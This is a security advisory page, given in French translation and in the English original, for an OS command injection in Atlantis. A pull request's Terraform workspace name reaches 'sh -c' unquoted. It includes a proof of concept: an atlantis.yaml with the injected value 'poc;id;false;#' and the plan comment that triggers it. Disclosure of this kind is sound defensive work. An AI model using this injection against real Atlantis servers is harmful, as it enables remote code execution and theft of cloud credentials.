Saltar al contenido principal
WebguneWebgunebeta
Precios
Toutes les failles

ÉlevéeCVE-2026-11667627 de octubre de 2026

Atlantis : injection de commande OS via l'espace Terraform contrôlé par PR permet l'exécution de code à distance lors du plan

Conséquences sérieuses, souvent sous quelques conditions : à corriger rapidement.

Sévérité
Élevée8.8 / 10
Publiée le
27 de octubre de 2026
Mise à jour
27 de octubre de 2026

L'avis

Traduction automatique de l'avis officiel. En cas de doute, l'avis d'origine, plus bas, fait foi.

Résumé

Atlantis passe la valeur workspace Terraform provenant du fichier atlantis.yaml d'une pull request dans une commande shell sans la citer ou l'échapper.

Un contributeur dont la pull request est éligible pour un plan Atlantis peut inclure des métacaractères shell dans le nom de l'espace et exécuter des commandes arbitraires en tant que compte de service Atlantis. Cela n'a pas besoin de workflows personnalisés, allow_custom_workflows, ou de la permission d'exécuter terraform apply.

La commande hérite de l'environnement du processus Atlantis, qui contient communément des identifiants de fournisseur de cloud, Terraform et VCS.

Détails

Vérifié contre le commit actuel de upstream/main 92ce5c51d1a050357e44df3535483425e59fa984 le 13 août 2026.

Le flux de données vulnérable est :

  1. L'espace de projet contrôlé par la PR est validé dans server/core/config/raw/project.go (nueva ventana).

    La validation rejette seulement .., /, et \. Les métacaractères shell tels que ;, #, $, les redirections et les espaces restent autorisés.

  2. L'espace est passé directement comme argument de commande Terraform dans server/core/runtime/workspace_step_runner_delegate.go (nueva ventana):

    []string{workspaceCmd, "select", ctx.Workspace}
    
  3. Les arguments Terraform sont concaténés en une seule chaîne en utilisant strings.Join(args, " ") dans server/core/terraform/tfclient/terraform_client.go (nueva ventana):

    tfCmd := fmt.Sprintf("%s %s", binPath, strings.Join(args, " "))
    
  4. La chaîne résultat est exécutée via sh -c dans server/core/terraform/tfclient/terraform_client.go (nueva ventana):

    cmd := exec.Command("sh", "-c", tfCmd)
    

Par conséquent, un espace tel que :

poc;id;false;#

produit des commandes équivalentes à :

terraform workspace select poc;id;false;#
terraform workspace new poc;id;false;#

raw.Project.Validate() a été confirmé de ne pas renvoyer d'erreur pour cette valeur d'espace.

Atlantis documente que la planification de Terraform non fiable peut déjà être dangereuse car les providers et les sources de données externes exécutent du code. La question distincte ici est qu'un champ de configuration de projet ordinaire devient source shell, contournant le contrôle explicite allow_custom_workflows et ne nécessitant aucun provider malveillant, source de données externe, workflow personnalisé ou opération d'application.

La remédiation principale devrait être d'exécuter Terraform en utilisant un vecteur d'arguments plutôt que de construire une source shell — par exemple, exec.Command(binaryPath, args...). Toute expansion de variable d'environnement nécessaire devrait être effectuée sans invoquer un shell. Une validation stricte du nom de l'espace fournirait également une défense en profondeur.

Preuve de concept (PoC)

Ne reproduisez que cela contre une instance Atlantis jetable et un dépôt de test.

Préconditions
  • Atlantis traite le fichier atlantis.yaml de la branche de la pull request.
  • La pull request est éligible pour exécuter atlantis plan.
  • Pour une pull request d'une fourche, le serveur doit avoir --allow-fork-prs activé. Une branche du même dépôt n'a pas besoin de ce drapeau.
  • Aucun workflow personnalisé ou permission d'application n'est requis.
Contenu du dépôt

Créez main.tf:

terraform {
  required_version = ">= 1.0"
}

Créez atlantis.yaml:

version: 3
projects:
  - name: workspace-rce-poc
    dir: .
    workspace: "poc;id;false;#"
    autoplan:
      enabled: false

Ouvrez une pull request contenant ces fichiers et commentez:

atlantis plan -p workspace-rce-poc
Résultat attendu

Atlantis exécute d'abord terraform workspace select. Le false injecté provoque une erreur dans cette invocation de commande, donc Atlantis réessaie en utilisant terraform workspace new.

Dans les deux tentatives, le shell exécute id comme une commande séparée. La deuxième échec inclut la sortie combinée dans la réponse d'erreur Atlantis, exposant une sortie similaire à :

uid=1000(atlantis) gid=1000(atlantis) groups=1000(atlantis)

Cela démontre l'exécution de commande shell arbitraire sans créer de workflow personnalisé ou atteindre la phase d'application.

Le payload utilise seulement id et false et n'accède pas aux identifiants, ne fait pas de requêtes réseau, ou ne modifie pas l'au-delà de Terraform créant potentiellement l'espace poc jetable.

Impact

C'est une vulnérabilité d'injection de commande OS qui résulte en une exécution de code à distance en tant que compte de service Atlantis.

Les déploiements affectés sont ceux qui :

  • Traite la configuration de projet atlantis.yaml contrôlée par pull request ; et
  • Permettent à la pull request contrôlée par l'attaquant de déclencher un plan Atlantis.

Les conséquences potentielles incluent :

  • Lecture et exfiltration des identifiants de fournisseur de cloud, Terraform et VCS hérités du processus Atlantis.
  • Accès à l'état Terraform, aux fichiers de plan, aux extraits de dépôt, aux caches et autres données disponibles pour l'utilisateur Atlantis.
  • Modification de fichiers ou binaires accessibles au compte de service.
  • Faire des requêtes réseau en utilisant l'identité réseau du serveur Atlantis.
  • Pivoter vers une infrastructure accessible à travers les identifiants du serveur ou le placement réseau.

Pour les dépôts publics, les contributeurs externes arbitraires sont directement exposés lorsque --allow-fork-prs est activé. Sans le support des pull requests de fourche, la population vulnérable inclut les utilisateurs capables de créer des pull requests éligibles dans le même dépôt et les attaquant contrôlant ces comptes.

Composants touchés

ComposantVersions touchéesCorrigé en
github.com/runatlantis/atlantisGo>= 0.4.0, <= 0.47.00.47.1

Vous utilisez une version touchée ? Passez à la version corrigée, puis redéployez.

Atlantis: OS command injection through PR-controlled Terraform workspace enables RCE during plan

Summary

Atlantis passes the Terraform workspace value from a pull request's atlantis.yaml into a shell command without quoting or escaping it.

A contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name and execute arbitrary commands as the Atlantis service account. This does not require custom workflows, allow_custom_workflows, or permission to run terraform apply.

The executed command inherits the Atlantis process environment, which commonly contains cloud-provider, Terraform, and VCS credentials.

Details

Verified against current upstream/main commit 92ce5c51d1a050357e44df3535483425e59fa984 on August 13, 2026.

The vulnerable data flow is:

  1. The PR-controlled project workspace is validated in server/core/config/raw/project.go (nueva ventana).

    Validation rejects only .., /, and \. Shell metacharacters such as ;, #, $, redirections, and whitespace remain permitted.

  2. The workspace is passed directly as a Terraform command argument in server/core/runtime/workspace_step_runner_delegate.go (nueva ventana):

    []string{workspaceCmd, "select", ctx.Workspace}
    
  3. Terraform arguments are concatenated into a single string using strings.Join(args, " ") in server/core/terraform/tfclient/terraform_client.go (nueva ventana):

    tfCmd := fmt.Sprintf("%s %s", binPath, strings.Join(args, " "))
    
  4. The resulting string is executed through sh -c in server/core/terraform/tfclient/terraform_client.go (nueva ventana):

    cmd := exec.Command("sh", "-c", tfCmd)
    

Consequently, a workspace such as:

poc;id;false;#

produces commands equivalent to:

terraform workspace select poc;id;false;#
terraform workspace new poc;id;false;#

raw.Project.Validate() was confirmed to return no error for this workspace value.

Atlantis documents that planning untrusted Terraform can already be dangerous because providers and external data sources execute code. The distinct issue here is that an ordinary project configuration field becomes shell source, bypassing the explicit allow_custom_workflows control and requiring no malicious provider, external data source, custom workflow, or apply operation.

The primary remediation should be to execute Terraform using an argument vector rather than constructing shell source—for example, exec.Command(binaryPath, args...). Any required environment-variable expansion should be performed without invoking a shell. Strict workspace-name validation would also provide defense in depth.

PoC

Only reproduce this against a disposable Atlantis instance and test repository.

Preconditions
  • Atlantis processes atlantis.yaml from the pull request branch.
  • The pull request is eligible to run atlantis plan.
  • For a fork pull request, the server must have --allow-fork-prs enabled. A same-repository branch does not require this flag.
  • No custom workflows or apply permissions are required.
Repository contents

Create main.tf:

terraform {
  required_version = ">= 1.0"
}

Create atlantis.yaml:

version: 3
projects:
  - name: workspace-rce-poc
    dir: .
    workspace: "poc;id;false;#"
    autoplan:
      enabled: false

Open a pull request containing these files and comment:

atlantis plan -p workspace-rce-poc
Expected result

Atlantis first runs terraform workspace select. The injected false causes that command invocation to return an error, so Atlantis retries using terraform workspace new.

On both attempts, the shell executes id as a separate command. The second failure includes the combined command output in the Atlantis error response, exposing output similar to:

uid=1000(atlantis) gid=1000(atlantis) groups=1000(atlantis)

This demonstrates arbitrary shell-command execution without creating a custom workflow or reaching the apply phase.

The payload uses only id and false and does not access credentials, make network requests, or modify the host beyond Terraform potentially creating the disposable poc workspace.

Impact

This is an OS command injection vulnerability resulting in remote code execution as the Atlantis service account.

Affected deployments are those that:

  • Process pull-request-controlled atlantis.yaml project configuration; and
  • Permit the attacker-controlled pull request to trigger an Atlantis plan.

Potential consequences include:

  • Reading and exfiltrating cloud-provider, Terraform, and VCS credentials inherited from the Atlantis process.
  • Accessing Terraform state, plan files, repository checkouts, caches, and other data available to the Atlantis user.
  • Modifying files or binaries accessible to the service account.
  • Making network requests using the Atlantis server's network identity.
  • Pivoting into infrastructure accessible through the server's credentials or network placement.

For public repositories, arbitrary external contributors are directly exposed when --allow-fork-prs is enabled. Without fork PR support, the vulnerable population includes users able to create eligible same-repository pull requests and attackers controlling such accounts.

Catégorie : Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (CWE-78)

Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • github.comhttps://github.com/runatlantis/atlantis/security/advisories/GHSA-rjh2-4xgw-p2hj
  • nvd.nist.govhttps://nvd.nist.gov/vuln/detail/CVE-2026-116676
  • github.comhttps://github.com/runatlantis/atlantis/pull/6792
  • github.comhttps://github.com/runatlantis/atlantis/commit/8dd22b4d0a9d7c129fdbf6a3398dd1c4cf8c3a59
  • github.comhttps://github.com/runatlantis/atlantis/commit/f04df0d53f0544d9eb6f5026dd8b74fbefd82ac8
  • github.comhttps://github.com/runatlantis/atlantis/releases/tag/v0.47.1
  • github.comhttps://github.com/advisories/GHSA-rjh2-4xgw-p2hj
WebguneWebgune

La nube soberana todo en uno, diseñada y alojada en Francia.

DiscordDiscordGitHubGitHub
+33 (0)9 72 23 25 00support@webgune.cloud

Producto

  • Funcionalidades
  • Precios
  • Comparativa
  • Changelog
  • Estado
  • Vulnerabilidades (CVE)
  • Contacto

Desarrolladores

  • Documentación
  • Frameworks
  • Referencia API
  • Ejemplos
  • CLI
  • Herramientas y VS Code

Legal

  • Condiciones de uso
  • Política de privacidad
  • Aviso legal
  • Accesibilidad
  • RGPD
  • DPA
  • Política de uso aceptable

© 2026 KX712. Todos los derechos reservados. Webgune es un servicio de KX712.

Pagos:VisaMasterCardAmerican ExpressApple PayGoogle PaySEPABancontact